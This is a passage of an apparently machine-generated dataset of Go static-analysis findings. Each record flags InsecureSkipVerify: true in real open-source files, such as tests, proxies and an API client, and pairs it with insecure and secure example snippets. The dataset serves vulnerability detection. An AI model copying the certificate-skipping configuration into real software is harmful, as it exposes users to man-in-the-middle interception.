map[string]string, view string) (body string, err error) {\n\tviewTemplate, err := File.GetFileContents(view)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbody = strings.Replace(viewTemplate, \"{{.now_time}}\", beego.Date(time.Now(), \"Y-m-d H:i:s\"), 1)\n\tbody = strings.Replace(body, \"{{.document_name}}\", document[\"name\"], 1)\n\tbody = strings.Replace(body, \"{{.username}}\", document[\"username\"], 1)\n\tbody = strings.Replace(body, \"{{.update_time}}\", Date.Format(document[\"update_time\"], \"Y-m-d H:i:s\"), 1)\n\tbody = strings.Replace(body, \"{{.comment}}\", document[\"comment\"], 1)\n\tbody = strings.Replace(body, \"{{.document_url}}\", document[\"url\"], 1)\n\tbody = strings.Replace(body, \"{{.copyright}}\", global.SYSTEM_COPYRIGHT, 1)\n\n\tcontent := string(blackfriday.Run([]byte(document[\"content\"])))\n\tbody = strings.Replace(body, \"{{.document_content}}\", content, 1)\n\n\treturn\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 43, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "2d47bf13d066d442c13c6dd7b89b360000d627de1fa56dd2aa95e09c512d9953", "license": {"spdx": ["Apache-2.0"], "repo": "getlantern/tlsmasq", "path": "tlsmasq_test.go", "repo_head_hexsha": "624088a0c19736bec5b7aa1c369c6025512843d8", "stack_hexsha": "ccc7c0d3d6bd169b8b37a0dd9b4ba2637a0fa9ed", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 30, "entireCode": "package tlsmasq\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/tls\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"testing\"\n\n\t\"github.com/getlantern/tlsmasq/internal/testutil\"\n\t\"github.com/getlantern/tlsmasq/ptlshs\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestListenAndDial(t *testing.T) {\n\tt.Parallel()\n\n\tvar (\n\t\tsecret [52]byte\n\t\t// wg = new(sync.WaitGroup)\n\t\tclientMsg, serverMsg = \"hello from the client\", \"hello from the server\"\n\t)\n\n\t_, err := rand.Read(secret[:])\n\trequire.NoError(t, err)\n\n\torigin := testutil.StartOrigin(t, &tls.Config{Certificates: []tls.Certificate{cert}})\n\tinsecureTLSConfig := &tls.Config{InsecureSkipVerify: true, Certificates: []tls.Certificate{cert}}\n\tdialerCfg := DialerConfig{\n\t\tProxiedHandshakeConfig: ptlshs.DialerConfig{\n\t\t\tHandshaker: ptlshs.StdLibHandshaker{\n\t\t\t\tConfig: insecureTLSConfig,\n\t\t\t},\n\t\t\tSecret: secret,\n\t\t},\n\t\tTLSConfig: insecureTLSConfig,\n\t}\n\tlistenerCfg := ListenerConfig{\n\t\tProxiedHandshakeConfig: ptlshs.ListenerConfig{\n\t\t\tDialOrigin: origin.DialContext,\n\t\t\tSecret: secret,\n\t\t},\n\t\tTLSConfig: insecureTLSConfig,\n\t}\n\n\tl, err := Listen(\"tcp\", \"localhost:0\", listenerCfg)\n\trequire.NoError(t, err)\n\tdefer l.Close()\n\n\tserverErr := make(chan error, 1)\n\tmsgFromClient := make(chan string, 1)\n\tgo func() {\n\t\tserverErr <- func() error {\n\t\t\tconn, err := l.Accept()\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"accept failed: %w\", err)\n\t\t\t}\n\t\t\tdefer conn.Close()\n\n\t\t\tb := make([]byte, len(clientMsg))\n\t\t\tn, err := conn.Read(b)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"read failed: %w\", err)\n\t\t\t}\n\t\t\tmsgFromClient <- string(b[:n])\n\n\t\t\t_, err = conn.Write([]byte(serverMsg))\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"write failed: %w\", err)\n\t\t\t}\n\t\t\treturn nil\n\t\t}()\n\t}()\n\n\tmsgFromServer, clientErr := func() (string, error) {\n\t\tconn, err := Dial(\"tcp\", l.Addr().String(), dialerCfg)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"dial failed: %w\", err)\n\t\t}\n\t\tdefer conn.Close()\n\n\t\t_, err = conn.Write([]byte(clientMsg))\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"write failed: %w\", err)\n\t\t}\n\n\t\tb := make([]byte, len(serverMsg))\n\t\tn, err := conn.Read(b)\n\t\tif err != nil && !errors.Is(err, io.EOF) {\n\t\t\treturn \"\", fmt.Errorf(\"read failed: %w\", err)\n\t\t}\n\t\treturn string(b[:n]), nil\n\t}()\n\n\tassert.NoError(t, clientErr)\n\tassert.NoError(t, <-serverErr)\n\tassert.Equal(t, clientMsg, <-msgFromClient)\n\tassert.Equal(t, serverMsg, msgFromServer)\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 30, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "dec383a2f8556cad9391263e931bef886c47bce49feff9442a6a01a6f840c187", "license": {"spdx": ["Apache-2.0"], "repo": "filipenf/teleport", "path": "lib/web/app/handler_test.go", "repo_head_hexsha": "cd399e704c45f1ff8dfec6cb93262597de7ac3ba", "stack_hexsha": "9de80a964cfc3e50d693af9bb261bd68bdc15c3b", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 139, "entireCode": "/*\nCopyright 2021 Gravitational, Inc.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage app\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"net/url\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/gravitational/teleport/lib/auth\"\n\t\"github.com/gravitational/teleport/lib/services\"\n\t\"github.com/gravitational/teleport/lib/utils\"\n\n\t\"github.com/gravitational/trace\"\n\t\"github.com/jonboulle/clockwork\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\n// TestAuthPOST tests the handler of POST /x-teleport-auth.\nfunc TestAuthPOST(t *testing.T) {\n\tconst (\n\t\tstateValue = \"012ac605867e5a7d693cd6f49c7ff0fb\"\n\t\tcookieValue = \"\"\n\t)\n\n\ttests := []struct {\n\t\tdesc string\n\t\tstateInRequest string\n\t\tstateInCookie string\n\t\tsessionError error\n\t\toutStatusCode int\n\t}{\n\t\t{\n\t\t\tdesc: \"success\",\n\t\t\tstateInRequest: stateValue,\n\t\t\tstateInCookie: stateValue,\n\t\t\tsessionError: nil,\n\t\t\toutStatusCode: http.StatusOK,\n\t\t},\n\t\t{\n\t\t\tdesc: \"missing state token in request\",\n\t\t\tstateInRequest: \"\",\n\t\t\tstateInCookie: stateValue,\n\t\t\tsessionError: nil,\n\t\t\toutStatusCode: http.StatusForbidden,\n\t\t},\n\t\t{\n\t\t\tdesc: \"invalid session\",\n\t\t\tstateInRequest: stateValue,\n\t\t\tstateInCookie: stateValue,\n\t\t\tsessionError: trace.NotFound(\"invalid session\"),\n\t\t\toutStatusCode: http.StatusForbidden,\n\t\t},\n\t}\n\n\tfor _, test := range tests {\n\t\tt.Run(test.desc, func(t *testing.T) {\n\t\t\tp := setup(t, test.sessionError)\n\n\t\t\treq, err := json.Marshal(fragmentRequest{\n\t\t\t\tStateValue: test.stateInRequest,\n\t\t\t\tCookieValue: cookieValue,\n\t\t\t})\n\t\t\trequire.NoError(t, err)\n\n\t\t\tstatus := p.makeRequest(t, \"POST\", \"/x-teleport-auth\", test.stateInCookie, req)\n\t\t\trequire.Equal(t, test.outStatusCode, status)\n\t\t})\n\t}\n}\n\ntype testServer struct {\n\tserverURL *url.URL\n}\n\nfunc setup(t *testing.T, sessionError error) *testServer {\n\tfakeClock := clockwork.NewFakeClockAt(time.Date(2017, 05, 10, 18, 53, 0, 0, time.UTC))\n\tauthClient := mockAuthClient{\n\t\tsessionError: sessionError,\n\t}\n\tappHandler, err := NewHandler(context.Background(), &HandlerConfig{\n\t\tClock: fakeClock,\n\t\tAuthClient: authClient,\n\t\tAccessPoint: authClient,\n\t\tCipherSuites: utils.DefaultCipherSuites(),\n\t})\n\trequire.NoError(t, err)\n\n\tserver := httptest.NewUnstartedServer(appHandler)\n\tserver.StartTLS()\n\n\turl, err := url.Parse(server.URL)\n\trequire.NoError(t, err)\n\n\treturn &testServer{\n\t\tserverURL: url,\n\t}\n}\n\nfunc (p *testServer) makeRequest(t *testing.T, method, endpoint, stateInCookie string, reqBody []byte) int {\n\tu := url.URL{\n\t\tScheme: p.serverURL.Scheme,\n\t\tHost: p.serverURL.Host,\n\t\tPath: endpoint,\n\t}\n\treq, err := http.NewRequest(http.MethodPost, u.String(), bytes.NewBuffer(reqBody))\n\trequire.NoError(t, err)\n\n\t// Attach state token cookie.\n\treq.AddCookie(&http.Cookie{\n\t\tName: AuthStateCookieName,\n\t\tValue: stateInCookie,\n\t})\n\n\t// Issue request.\n\tclient := &http.Client{\n\t\tTransport: &http.Transport{\n\t\t\tTLSClientConfig: &tls.Config{\n\t\t\t\tInsecureSkipVerify: true,\n\t\t\t},\n\t\t},\n\t\tCheckRedirect: func(req *http.Request, via []*http.Request) error {\n\t\t\treturn http.ErrUseLastResponse\n\t\t},\n\t}\n\tresp, err := client.Do(req)\n\trequire.NoError(t, err)\n\trequire.NoError(t, resp.Body.Close())\n\treturn resp.StatusCode\n}\n\ntype mockAuthClient struct {\n\tauth.ClientI\n\tsessionError error\n}\n\ntype mockClusterName struct {\n\tservices.ClusterName\n}\n\nfunc (c mockAuthClient) GetClusterName(opts ...services.MarshalOption) (services.ClusterName, error) {\n\treturn mockClusterName{}, nil\n}\n\nfunc (n mockClusterName) GetClusterName() string {\n\treturn \"local-cluster\"\n}\n\nfunc (c mockAuthClient) GetAppSession(context.Context, services.GetAppSessionRequest) (services.WebSession, error) {\n\treturn nil, c.sessionError\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 139, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "b34df5d7227a143d0ba95c0b9fa395dee2ca9b27caf3aac77b2e1de804c0a72c", "license": {"spdx": ["Apache-2.0"], "repo": "L11R/escobar", "path": "internal/static/handlers.go", "repo_head_hexsha": "65ebe85f08ab5db06f9565d5e593db352d23f218", "stack_hexsha": "e12797e508b5c832fa0e4f38785ad59deb762f1b", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 69, "entireCode": "// Copyright (c) 2019 . All rights reserved.\n// Use of this source code is governed by the Apache 2.0\n// license that can be found in the LICENSE file.\n\npackage static\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/tls\"\n\t\"encoding/pem\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"time\"\n\n\t\"github.com/go-chi/chi\"\n)\n\nconst pacFile = `function FindProxyForURL(url, host) {\n if (isInNet(host, \"127.0.0.0\", \"255.0.0.0\")) return \"DIRECT\";\n else if (isInNet(host, \"10.0.0.0\", \"255.0.0.0\")) return \"DIRECT\";\n else if (isInNet(host, \"172.16.0.0\", \"255.240.0.0\")) return \"DIRECT\";\n else if (isInNet(host, \"192.168.0.0\", \"255.255.0.0\")) return \"DIRECT\";\n\n return \"PROXY %s; DIRECT\";\n}`\n\nfunc (s *Static) newRouter() http.Handler {\n\tr := chi.NewRouter()\n\n\tr.Get(\"/proxy.pac\", s.pac)\n\tr.Get(\"/ca.crt\", s.ca)\n\n\treturn r\n}\n\nfunc (s *Static) pac(w http.ResponseWriter, _ *http.Request) {\n\tw.WriteHeader(http.StatusOK)\n\tw.Header().Set(\"Content-Type\", \"application/x-ns-proxy-autoconfig\")\n\tif _, err := w.Write(\n\t\t[]byte(\n\t\t\tfmt.Sprintf(\n\t\t\t\tpacFile,\n\t\t\t\ts.proxyConfig.Addr.String(),\n\t\t\t),\n\t\t),\n\t); err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n}\n\n// ca returns actual root CA certificate by doing request through our proxy\nfunc (s *Static) ca(w http.ResponseWriter, _ *http.Request) {\n\tu, err := url.Parse(\"http://\" + s.proxyConfig.Addr.String())\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\t// We need http client with custom transport\n\thttpClient := http.DefaultClient\n\n\ttr := http.DefaultTransport\n\t// Pass our newly deployed local proxy\n\ttr.(*http.Transport).Proxy = http.ProxyURL(u)\n\t// We check it against corporate proxy, so it usually use MITM\n\ttr.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}\n\n\thttpClient.Transport = tr\n\n\treq, err := http.NewRequest(\"GET\", \"https://www.google.com\", nil)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusServiceUnavailable)\n\t\treturn\n\t}\n\n\tctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)\n\tdefer cancel()\n\treq = req.WithContext(ctx)\n\n\tresp, err := httpClient.Do(req)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusServiceUnavailable)\n\t\treturn\n\t}\n\tresp.Body.Close()\n\n\tbuf := bytes.NewBuffer(nil)\n\tif err := pem.Encode(buf, &pem.Block{\n\t\tType: \"CERTIFICATE\",\n\t\tBytes: resp.TLS.PeerCertificates[len(resp.TLS.PeerCertificates)-1].Raw,\n\t}); err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tw.WriteHeader(http.StatusOK)\n\tw.Header().Set(\"Content-Type\", \"application/x-x509-ca-cert\")\n\tif _, err := w.Write(buf.Bytes()); err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 69, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "5fc6f5f66c9b3656b62022f7666a75c674bcc9dd5815e892883f656644f69514", "license": {"spdx": ["MIT"], "repo": "viiftw/pulsedive-go", "path": "pulsedive.go", "repo_head_hexsha": "d4c7c2031a2908b833b78df953e131e39cf1c419", "stack_hexsha": "6e61ec0215f8d0714ec9d747f6b2beee925b5d96", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 37, "entireCode": "package pulsedive\n\nimport (\n\t\"crypto/tls\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"strconv\"\n\t\"time\"\n)\n\nvar (\n\tapiKey = \"\"\n\tpretty = \"1\"\n\tschema = \"1\"\n\tpulsediveURL = \"https://pulsedive.com/api\"\n\trisks = []string{\"unknown\", \"none\", \"low\", \"medium\", \"high\", \"critical\", \"retired\"}\n\tindicatorTypes = []string{\"ip\", \"ipv6\", \"url\", \"domain\", \"artifact\"}\n\tcategories = []string{\"general\", \"abuse\", \"apt\", \"attack\", \"botnet\", \"crime\",\n\t\t\"exploitkit\", \"fraud\", \"group\", \"malware\", \"proxy\", \"pup\",\n\t\t\"reconnaissance\", \"spam\", \"terrorism\", \"phishing\", \"vulnerability\"}\n)\n\n// PDAResponse define for pulsedive api queue response\ntype PDAResponse struct {\n\tSuccess string `json:\"success\"`\n\tQid int `json:\"qid\"`\n}\n\n// Get create a get request\nfunc Get(query, path string) ([]byte, error) {\n\treq, err := http.NewRequest(\"GET\", pulsediveURL+path, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treq.URL.RawQuery = query\n\ttrt := &http.Transport{\n\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t\tMaxIdleConns: 10,\n\t\tIdleConnTimeout: 30 * time.Second,\n\t\tDisableCompression: true,\n\t}\n\tclient := &http.Client{Transport: trt}\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer resp.Body.Close()\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn body, nil\n}\n\n// Pulsedive set API KEY and pretty\nfunc Pulsedive(key string, isPretty bool) {\n\tapiKey = key\n\tif !isPretty {\n\t\tpretty = strconv.Itoa(0)\n\t}\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 37, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "20dd328917ec11383fa891ff7750d3492a9db16157f4e444a3b6c42e44538f53", "license": {"spdx": ["Apache-2.0"], "repo": "nlnwa/veidemann-recorderproxy", "path": "recorderproxy/recorderproxy.go", "repo_head_hexsha": "a3bb49fabb0abf02bc0e78ceb2532adf50796fbf", "stack_hexsha": "7428a31854d1136c2cb9aac73965e09c475ce0fe", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 45, "entireCode": "/*\n * Copyright 2019 National Library of Norway.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage recorderproxy\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"github.com/getlantern/mitm\"\n\t\"github.com/getlantern/proxy\"\n\t\"github.com/getlantern/proxy/filters\"\n\tcontext2 \"github.com/nlnwa/veidemann-recorderproxy/context\"\n\t\"github.com/nlnwa/veidemann-recorderproxy/errors\"\n\t\"github.com/nlnwa/veidemann-recorderproxy/logger\"\n\t\"github.com/nlnwa/veidemann-recorderproxy/serviceconnections\"\n\t\"github.com/opentracing/opentracing-go\"\n\t\"github.com/opentracing/opentracing-go/ext\"\n\t\"io\"\n\t\"strconv\"\n\t\"sync/atomic\"\n\n\tlog \"github.com/sirupsen/logrus\"\n\t\"net\"\n\t\"net/http\"\n\t\"time\"\n)\n\nconst (\n\tCRLF = \"\\r\\n\"\n)\n\nvar acceptAllCerts = &tls.Config{InsecureSkipVerify: true}\n\ntype RecorderProxy struct {\n\tproxy.Proxy\n\tid int32\n\tAddr string\n\tconn *serviceconnections.Connections\n\tConnectionTimeout time.Duration\n\tnextProxy string\n\tlistener net.Listener\n\tshouldRun bool\n}\n\nfunc NewRecorderProxy(id int, addr string, port int, conn *serviceconnections.Connections, connectionTimeout time.Duration, nextProxyAddr string) *RecorderProxy {\n\tport += id\n\n\tr := &RecorderProxy{\n\t\tid: int32(id),\n\t\tconn: conn,\n\t\tnextProxy: nextProxyAddr,\n\t\tshouldRun: true,\n\t}\n\n\tfilterChain := filters.Join(\n\t\t&NonproxyFilter{},\n\t\t&TracingInitFilter{},\n\t\t&ContextInitFilter{conn, int32(id)},\n\t\t&DnsLookupFilter{conn.DnsResolverClient()},\n\t\t&RecorderFilter{int32(id), conn.DnsResolverClient(), nextProxyAddr != \"\"},\n\t\t&ErrorHandlerFilter{nextProxyAddr != \"\"},\n\t)\n\n\tvar chainedProxyFilter *ChainedProxyFilter\n\tif nextProxyAddr != \"\" {\n\t\tchainedProxyFilter = &ChainedProxyFilter{}\n\t\tfilterChain = filterChain.Append(chainedProxyFilter)\n\t}\n\n\tproxyOpts := &proxy.Opts{\n\t\tDial: r.Dial,\n\t\t//IdleTimeout: 3 * time.Second,\n\t\tFilter: filterChain,\n\t\tShouldMITM: func(req *http.Request, upstreamAddr string) bool {\n\t\t\treturn true\n\t\t},\n\t\tMITMOpts: &mitm.Opts{\n\t\t\tDomains: []string{\"*\"},\n\t\t\tClientTLSConfig: acceptAllCerts,\n\t\t\tServerTLSConfig: acceptAllCerts,\n\t\t\tOrganization: \"Veidemann Recorder Proxy\",\n\t\t\tCertFile: \"/tmp/rpcert.pem\",\n\t\t},\n\t\tOnError: func(ctx filters.Context, req *http.Request, read bool, err error) *http.Response {\n\t\t\tlog.WithError(err).Error(\"Probably bug. Error handled by OnError should have been handled elsewhere.\")\n\t\t\tres, _, _ := filters.Fail(ctx, req, 500, err)\n\t\t\treturn res\n\t\t},\n\t\tOKWaitsForUpstream: false,\n\t\tOKSendsServerTiming: false,\n\t\tWriteResponseInterceptor: func(ctx filters.Context, downstream io.Writer, req *http.Request, resp *http.Response, invoker proxy.WriteResponseInvoker) error {\n\t\t\troundTripSpan, _ := opentracing.StartSpanFromContext(ctx, \"Write downstream\")\n\t\t\text.HTTPUrl.Set(roundTripSpan, req.URL.String())\n\t\t\text.HTTPMethod.Set(roundTripSpan, req.Method)\n\t\t\text.HTTPStatusCode.Set(roundTripSpan, uint16(resp.StatusCode))\n\t\t\text.SpanKind.Set(roundTripSpan, ext.SpanKindRPCServerEnum)\n\t\t\terr := invoker(ctx, downstream, req, resp)\n\t\t\troundTripSpan.Finish()\n\n\t\t\trc := context2.GetRecordContext(ctx)\n\t\t\tif rc != nil {\n\t\t\t\trc.ResponseCompleted(resp, err)\n\t\t\t\trc.WaitForCompleted()\n\t\t\t}\n\t\t\treturn err\n\t\t},\n\t}\n\n\tproxyOpts.InitMITM = func() (interceptor proxy.MITMInterceptor, e error) {\n\t\ti, e := mitm.Configure(proxyOpts.MITMOpts)\n\t\treturn &errorForwardingMITMInterceptor{i}, e\n\t}\n\n\tvar err error\n\tr.Proxy, err = proxy.New(proxyOpts)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tr.listener, err = net.Listen(\"tcp\", addr+\":\"+strconv.Itoa(port))\n\tif err != nil {\n\t\tif r.listener, err = net.Listen(addr+\"tcp6\", \":\"+strconv.Itoa(port)); err != nil {\n\t\t\tlog.Panicf(\"failed to listen on port %v: %v\", port, err)\n\t\t}\n\t}\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tr.Addr = r.listener.Addr().String()\n\n\tif chainedProxyFilter != nil {\n\t\tchainedProxyFilter.proxy = r\n\t}\n\n\treturn r\n}\n\ntype errorForwardingMITMInterceptor struct {\n\t*mitm.Interceptor\n}\n\nfunc (e *errorForwardingMITMInterceptor) MITM(ctx context.Context, downstream net.Conn, upstream net.Conn) (newDown net.Conn, newUp net.Conn, success bool, err error) {\n\tnewDown, newUp, success, err = e.Interceptor.MITM(downstream, upstream)\n\tif err != nil {\n\t\tcontext2.SetConnectErrorIfNotExists(ctx, err)\n\t\terr = nil\n\t}\n\treturn\n}\n\nfunc (proxy *RecorderProxy) Start() {\n\tl := log.WithField(\"component\", \"PROXY\")\n\tl.Infof(\"Starting proxy %v ...\", proxy.id)\n\n\tgo func() {\n\t\tfor proxy.shouldRun {\n\t\t\tco, err := proxy.listener.Accept()\n\t\t\tif err != nil {\n\t\t\t\tl.Errorf(\"unable to accept: %v\", err)\n\t\t\t}\n\n\t\t\tconn := WrapConn(co, \"down\", false)\n\t\t\tc, cancel := context.WithCancel(context2.RecordProxyDataAware(context.Background()))\n\n\t\t\tconn.CancelFunc = cancel\n\t\t\tgo func() {\n\t\t\t\terr := proxy.Handle(c, conn, conn)\n\t\t\t\tif err != nil && errors.Code(err) == errors.RuntimeException {\n\t\t\t\t\tl.Errorf(\"Error handling request: %v\", err)\n\t\t\t\t}\n\t\t\t}()\n\t\t}\n\t\terr := proxy.listener.Close()\n\t\tif err != nil {\n\t\t\tl.Fatal(err)\n\t\t}\n\t}()\n\n\tl.Infof(\"Proxy %v started, listening on %v\\n\", proxy.id, proxy.Addr)\n}\n\nfunc (proxy *RecorderProxy) Close() {\n\tl := log.WithField(\"component\", \"PROXY\")\n\tl.Infof(\"Shutting down proxy %v ...\", proxy.id)\n\n\tproxy.shouldRun = false\n\tvar lo int64\n\tfor {\n\t\topenSessions := context2.OpenSessions()\n\t\tif openSessions > 0 {\n\t\t\tif openSessions != lo {\n\t\t\t\tl.Infof(\"Waiting for %d sessions to complete\", openSessions)\n\t\t\t}\n\t\t\tlo = openSessions\n\t\t\ttime.Sleep(200 * time.Millisecond)\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t}\n\n\tl.Infof(\"Proxy %v shut down\", proxy.id)\n}\n\ntype wrappedConnection struct {\n\tnet.Conn\n\tt string\n\tclosed *int32\n\tCancelFunc func()\n\tdirOut bool\n}\n\nfunc (conn *wrappedConnection) Close() (err error) {\n\tl := log.WithField(\"component\", \"CONN:\"+conn.t)\n\tif atomic.CompareAndSwapInt32(conn.closed, 0, 1) {\n\t\tif conn.dirOut {\n\t\t\tl.Debugf(\"Close connection %v -> %v\\n\", conn.LocalAddr(), conn.RemoteAddr())\n\t\t} else {\n\t\t\tl.Debugf(\"Close connection %v -> %v\\n\", conn.RemoteAddr(), conn.LocalAddr())\n\t\t}\n\t\tif conn.CancelFunc != nil {\n\t\t\tconn.CancelFunc()\n\t\t}\n\t}\n\treturn conn.Conn.Close()\n}\n\nfunc (conn *wrappedConnection) Read(b []byte) (n int, err error) {\n\tn, err = conn.Conn.Read(b)\n\tl := log.WithField(\"component\", \"CONN:\"+conn.t)\n\tif err != nil {\n\t\tl = l.WithError(err)\n\t}\n\tif log.IsLevelEnabled(log.TraceLevel) {\n\t\tl.Tracef(\"read:\\n%s\\n\", logger.FormatPayload(b, n, 10, 20))\n\t} else {\n\t\tl.Debugf(\"read: %s\", logger.FormatPayload(b, n, 10, 20))\n\t}\n\treturn\n}\n\nfunc (conn *wrappedConnection) Write(b []byte) (n int, err error) {\n\tn, err = conn.Conn.Write(b)\n\tl := log.WithField(\"component\", \"CONN:\"+conn.t)\n\tif err != nil {\n\t\tl = l.WithError(err)\n\t}\n\tif log.IsLevelEnabled(log.TraceLevel) {\n\t\tl.Tracef(\"write:\\n%s\\n\", logger.FormatPayload(b, n, 10, 20))\n\t} else {\n\t\tl.Debugf(\"write: %s\", logger.FormatPayload(b, n, 10, 20))\n\t}\n\treturn\n}\n\nfunc WrapConn(conn net.Conn, label string, dirOut bool) *wrappedConnection {\n\tl := log.WithField(\"component\", \"CONN:\"+label)\n\tif dirOut {\n\t\tl.Debugf(\"New connection %v -> %v\\n\", conn.LocalAddr(), 